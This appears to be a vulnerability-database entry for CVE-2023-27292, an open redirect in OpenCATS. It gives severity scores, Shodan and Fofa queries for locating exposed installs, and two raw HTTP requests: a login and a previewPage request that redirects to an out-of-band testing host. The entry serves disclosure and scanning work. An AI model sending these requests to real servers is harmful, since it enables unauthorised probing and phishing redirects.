| Title | OpenCATS - Open Redirect |
|---|---|
| Author | r3Y3r53 |
| Severity | Medium |
| Impact | An attacker can redirect users to malicious websites, leading to phishing attacks or the download of malware. |
| Remediation | Apply the latest patch or update to the latest version of OpenCATS to fix the open redirect vulnerability. |
| CVSS Score | 5.4 |
| EPSS Score | 0.07744 |
| CVE ID | CVE-2023-27292 |
| CWE ID | CWE-601 |
| Shodan Query | title:"opencats"http.title:"opencats" |
| Fofa Query | title="opencats" |
| Tags | cve2023 cve authenticated tenable opencats redirect vuln |
OpenCATS contains an open redirect vulnerability due to improper validation of user-supplied GET parameters. This, in turn, exposes OpenCATS to possible template injection and obtaining sensitive information, modifying data, and/or executing unauthorized operations.
POST /index.php?m=login&a=attemptLogin HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36
Connection: close
Content-Length: 31
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
username=RVokeE&password=eFWIx6
GET /index.php?m=settings&a=previewPage&url=https://oast.me HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.8
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-27292.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-27292.pcap
N/AN/A